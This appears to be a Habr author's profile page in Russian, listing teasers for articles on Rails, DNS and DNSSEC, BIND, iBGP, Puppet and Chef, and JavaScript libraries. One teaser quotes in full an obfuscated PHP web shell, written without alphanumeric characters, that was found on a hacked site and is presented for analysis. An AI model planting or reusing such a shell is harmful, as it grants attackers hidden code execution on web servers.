Pull to refresh
20
0
Александр Зинченко @yumitsu

User

Send message

ActiveRecord Hacks

Reading time4 min
Views11K
Сегодня я поделюсь своим набором не всегда очевидных функций и возможностей Active Record, с которыми я столкнулся в процессе разработки Ruby on Rails приложений или нашел в чужих блогах.

Читать дальше →

Установка и настройка TeamSpeak 3 сервера на VDS

Reading time3 min
Views183K
В данной статье речь пойдет об установке сервера TeamSpeak 3, эта программа предназначена для использования голосовой связи различными сообществами. В моем примере будет использоваться Linux Debian 6.0 x64, для ТС3 сервера также оптимален VDS с предустановленной Ubuntu, разрядность значения не имеет, принцип действия одинаковый.
Читать дальше →

Сети для Самых Маленьких. Микровыпуск №3. IBGP

Reading time29 min
Views67K


Долго ли коротко ли длилась история linkmeup, но компания росла, развивалась. Счёт маршрутизаторов уже на десятки, свои опто-волоконные линии, развитая сеть по городу. И было принято решение оформлять компанию, как провайдера и предоставлять услуги доступа в Интернет для сторонних в том числе организаций.
Сама по себе задача административная — лицензии там, поиск клиентской базы, реклама, поставить СОРМ.
Разумеется, с технической стороны тоже нужны приготовления — просчитать ресурсы, мощности, порты, подготовить политику QoS. Но всё это (за исключением QoS) — рутина.

Мы же хотим поговорить о другом — IBGP. Возможно, тема покажется вам несколько притянутой за уши, мол, внутренний BGP — прерогатива достаточно крупных провайдеров.
Однако это не так, сейчас iBGP задействуется в ентерпрайзах чуть ли не чаще, чем в провайдерах. С целью исключительно внутренней маршрутизации. Например, ради VPN — очень популярное приложение на базе BGP в корпоративной среде. К примеру, возможность организовать периметры, изолированные на L3, на уже используемой инфраструктуре очень ценна. А префиксов-то может быть каких-то полсотни, а то и десяток. Вовсе никакой не Full View, однако все равно удобно.

Возможно, к нашей сети Linkmeup это не имеет по-прежнему отношения, но обойти стороной такую концепцию будет совершенно непростительно. Поэтому предположим, что сеть достаточно велика, и у нас есть необходимость в BGP в ядре.

Сегодня обсудим
  • Когда нужен IBGP
  • В чём отличия от EBGP
  • Route Reflector’ы
  • Конфедерации
  • Нерассмотренные в основной статье атрибуты BGP


Традиционное видео


Задачки в этом выпуске не относятся напрямую к IBGP, это, скорее, по BGP в целом. Интересно будет как новичкам поломать голову, так и старожилам размяться

Читать дальше →

Ключ от всех дверей в непрерывной интеграции — rundeck

Reading time4 min
Views34K
При большом количестве серверов и виртуальных машин и еще большем количестве кода в постоянном деплое, неизбежно возникают проблемы администрирования всего этого огромного хозяйства. Существует множество инструментов, позволяющих организовать continuous integration. В нашем списке точно уже есть GIT, Jenkins, Chef, Proxmox, Graylog2. Сегодня мы расскажем еще об одном удобном инструменте для автоматизации рутинных задач с помощью сценариев — rundeck. Эта статья — не подробный мануал с примерами конфигов, а скорее размышления на тему.
Читать дальше →

Инструменты DevOps-инженера: Librarian

Reading time4 min
Views12K
Данная статья предназначена для тех, кто использует или планирует начать использовать систему управления конфигурацией Opscode Chef.

Основная задача внедрения любой системы управления конфигурацией, будь то Chef, Puppet или что-то еще, — повторяемо воспроизводить и обновлять окружение всех сред, использующихся при разработке ПО (dev, CI, QA, stage, production). Отсюда следует, что само описание конфигурации необходимо однозначно хранить и обновлять. К сожалению, возможности по версионированию, которые есть в Chef, достаточно ограничены. Поэтому в связке с Chef в последнее время стали активно использовать Librarian. Но перед тем, как рассказать о нем, поговорим немного о кукбуках.
Читать дальше →

Проверьте на готовность ваш Gemfile к Rails 4

Reading time1 min
Views9.5K
Rails 4 вышли две недели назад, а вы все еще сидите на третьих? Вас останавливает трудоемкий процесс проверки работоспособности всех подключенных гемов? Не беда! Буквально 10 дней назад стартовал веб-сервис по проверке совместимости гемов и Rails 4 от frodsan и Florent.
Читать дальше →

Стриминг в Rails 4

Reading time6 min
Views19K


Что такое стриминг?


Стриминг крутился около Rails начиная с версии 3.2, но он был ограничен исключительно стримингом шаблонов. Rails 4 же вышел с более зрелым функционалом стриминга в реальном времени. По сути это значит что Rails сейчас способен нативно обрабатывать I/O объекты и посылать данные клиенту в риалтайме.

Streaming и Live — два отдельных модуля, реализованных внутри ActionController'а. Streaming включен по умолчанию, в то время как Live должен быть явно добавлен непосредственно в контроллере.

Основной api стриминга использует класс Fiber (доступен с версии ruby 1.9.2). Файберы предоставляют инструментарий для потоко-подобного параллелизма в ruby. Fiber дает возможность потокам приостанавливаться и возобновлять работу по желанию программиста, а не быть по сути упреждающими.
Читать дальше →

Как находить и устранять утечки памяти на примере Яндекс.Почты

Reading time8 min
Views67K
На первый поверхностный взгляд, слова JavaScript и «утечка памяти» рядом стоять не могут. Настоящих утечек памяти в JS, конечно, не может быть, потому что процесс сборки мусора происходит автоматически и не может контролироваться из нашего кода. Выделить память под объект и забыть освободить невозможно. Но могут быть ситуации, связанные с ошибками в логике работы приложения, которые приводят к утечкам памяти другого рода. Например, забиндили обработчик, в котором что-то делаем с методами общего объекта и забыли его анбиндить. Или же посылаем письмо с большим телом и не очищаем тело даже после отправки.

image

Мы в Яндекс.Почте, сложном и массовом проекте, накопили заметный опыт в поиске и устранении таких утечек, и хотим им поделиться.
Итак, больше подробностей

SVG.js — достойный конкурент Raphaël

Reading time2 min
Views52K
image

Доброго времени суток, уважаемые хабражители. Хочу поделиться с вами одной замечательной находкой на GitHub — SVG.js — удобная манипуляция и анимация SVG. Хочется сказать о трех вещах, которые сосредоточили мое внимание на этой библиотеке. Самое простое и важное это то, что с появлением retina дисплеев SVG становится популярнее, более нужным, чем раньше. SVG.min.js весит 34кб и 9кб в Gzip, что в разы меньше Raphaël и что можно пожертвовать для дизайна и эффектов. Минифицированный SVG.filter.js размером в 3кб является прекрасным кроссбраузерным аналогом для свойства webkit-filter.

Другие плюсы SVG.js

Практическое применение DNSSEC

Reading time10 min
Views68K


В статье описываются недостатки существующей структуры DNS, полный процесс внедрения DNSSEC на примере доменов .com и .org, процедура создания валидного самоподписанного SSL-сертификата подписанного с помощью DNSSEC.

Читать дальше →

Фильтрация запросов на уровне DNS

Reading time4 min
Views20K
Начиная с версии 9.8.1 DNS-сервера bind появилась новая возможность — DNS RPZ. Это интересный инструмент, который может оказаться весьма полезным для многих сисадминов. Странно, но в русскоязычном сегменте интернета эта тема совершенно не освещена. Спешу восполнить этот пробел.
Читать дальше →

AWS Route53: DNS Failover теперь с поддержкой Elastic Load Balancer

Reading time2 min
Views5.3K
Привет, друзья! image

Совсем недавно вышла статья astlock о фейловере DNS. Фича, конечно классная и удобная, но те, кто хостил в AWS большие проекты с ELB совсем не почувствовали нового. Если фейловер не работает с ELB, то мне лично эта функция абсолютно бесполезна.

Но вот настал тот день, когда стало возможным использовать блага Route53 вместе с ELB. Настраивая запись в режиме Failover и соединяя её с ELB мы тем самым включаем возможность автоматического мониторинга ELB. Переключение записи с Primary на Secondary произойдёт автоматически в следующих ситауциях: image
  • отказ и недоступность ELB
  • отсутствие здоровых инстансов под ELB

Route53 теперь даёт возможность автоматически переехать в случае отказа всего региона,

В этой статье я расскажу, как я протестировал новый функционал.
Читать дальше →

Установка, настройка OpenDNSSEC 1.3.х и 1.4.1, NSD, FreeBSD 9.2

Reading time17 min
Views5.4K
Что такое и для чего OpenDNSSEC есть информация в сети. Подробной информации на эту тему немного и в основном на английском. Попробую восполнить пробел. Сам не являюсь специалистом в этой области, было интересно, захотел, сделал.

Статья писалась одновременно с установкой/настройкой OpenDNSSEC. В общей сумме ушло около месяца. Процедура выполнялась дважды. Сначала был установлен OpenDNSSEC 1.3. Зоны подписаны, якоря у регистратора домена(РД) прописаны, цепочка доверия выстроена, о чём сообщалось в личном кабинете регистратора домена(РД), в общем всё получилось. Спустя полгода, в результате очередного ручного обновления портов, порт OpenDNSSEC 1.3.x был автоматически обновлён на 1.4.1, а там много чего по другому. Но всё, разумеется, продолжало работать без каких-либо намёков на проблему. Обнаружил случайно, когда в DNS зону потребовалось внести изменения. И началось…
Читать дальше →

DNS сервер BIND (теория)

Reading time21 min
Views509K
Основная цель DNS — это отображение доменных имен в IP адреса и наоборот — IP в DNS. В статье я рассмотрю работу DNS сервера BIND (Berkeley Internet Name Domain, ранее: Berkeley Internet Name Daemon), как сАмого (не побоюсь этого слова) распространенного. BIND входит в состав любого дистрибутива UNIX. Основу BIND составляет демон named, который для своей работы использует порт UDP/53 и для некоторых запросов TCP/53.

Основные понятия Domain Name System


Исторически, до появления доменной системы имен роль инструмента разрешения символьных имен в IP выполнял файл /etc/hosts, который и в настоящее время играет далеко не последнюю роль в данном деле. Но с ростом количества хостов в глобальной сети, отслеживать и обслуживать базу имен на всех хостах стало нереально затруднительно. В результате придумали DNS, представляющую собой иерархическую, распределенную систему доменных зон. Давайте рассмотрим структуру Системы Доменных Имён на иллюстрации:
Читать дальше →

TogetherJS: добавь на сайт коллективизма

Reading time1 min
Views15K
Mozilla Labs выпустила открытую библиотеку TogetherJS, с помощью которой на сайт легко добавить возможность коллективной работы в реальном времени.

Библиотека написана на JavaScript, не требует от посетителей установки никаких плагинов или программного обеспечения, всё работает сразу в браузере.

Для установки достаточно скопировать и вставить библиотеку и HTML-сниппет. TogetherJS дружественна к существующей структуре сайтов: скрипт ничего не меняет на сайте, только добавляет небольшую кнопку . По нажатию открывается дополнительное меню и появляется уникальная ссылка для отправки коллегам. Каждый, кто откроет эту ссылку, присоединится к групповой работе над данным документом.
Читать дальше →

Ion.Sound — плагин для воспроизведения звуков. Создание и особенности

Reading time4 min
Views9.6K


Привет, последнее время мне частенько приходится обрабатывать всякие события на сайтах, будь то сообщения в чатах, оповещения, напоминания, входящая почта и т.д. Этих событий становится все больше и больше и все они хотят как то привлечь внимание пользователя к себе. Я изощряюсь в разных видах анимации, элементы прыгают, мигают, крутятся и т.д. и т.п. В какой-то момент я понял, что все эти приемы бесполезны, если пользователь, например, отвернулся от экрана или вовсе перешел на соседнюю вкладку в браузере. Решение пришло быстро — звуки. Но как это сделать? Немножко погуглив я не нашел каких либо простых и удобных решений этой задачи. Зато нашел кучи аудио/видео плееров всевозможных видов. Вот я и решил написать собственный плагин для воспроизведения звуков у событий.
Читать дальше →

PHP-шелл без единого буквенно-цифрового символа

Reading time1 min
Views89K
Вчера в блоге компании Sucuri появился любопытный вопрос: некий владелец сайта, обнаружив его взломанным, был немало удивлён, обнаружив следующий злонамеренный код; что именно он делает?
@$_[]=@!+_; $__=@${_}>>$_;$_[]=$__;$_[]=@_;$_[((++$__)+($__++ ))].=$_;
$_[]=++$__; $_[]=$_[--$__][$__>>$__];$_[$__].=(($__+$__)+ $_[$__-$__]).($__+$__+$__)+$_[$__-$__];
$_[$__+$__] =($_[$__][$__>>$__]).($_[$__][$__]^$_[$__][($__<<$__)-$__] );
$_[$__+$__] .=($_[$__][($__<<$__)-($__/$__)])^($_[$__][$__] );
$_[$__+$__] .=($_[$__][$__+$__])^$_[$__][($__<<$__)-$__ ];
$_=$ 
$_[$__+ $__] ;$_[@-_]($_[@!+_] );

Как видно, в коде нет ни вызовов функций, ни вообще какого-либо буквенно-цифрового символа.
Узнать подробности

Переходим на Puppet или как не испортить борщ

Reading time3 min
Views20K
Всем доброго времени суток.
Я работаю системным администратором в небольшой компании myhotspot, занимающейся различными разработками в сфере IT, в том числе на ruby on rails. Естественно приходится часто устанавливать и администрировать виртуальные сервера, для чего мы с успехом используем Puppet. На Хабре уже писали про Puppet (Как стать кукловодом или Puppet для начинающих или Puppet под нагрузкой), но не описали того, о чем на мой взгляд очень важно сказать. Суть проблемы, которую я хочу описать в процессе перехода на автоматическую систему управления конфигурациями серверов под названием Puppet. О том как это проще сделать, чем нужно руководствоваться, чего стоит опасаться и как жить дальше.
Читать дальше →

Information

Rating
Does not participate
Registered
Activity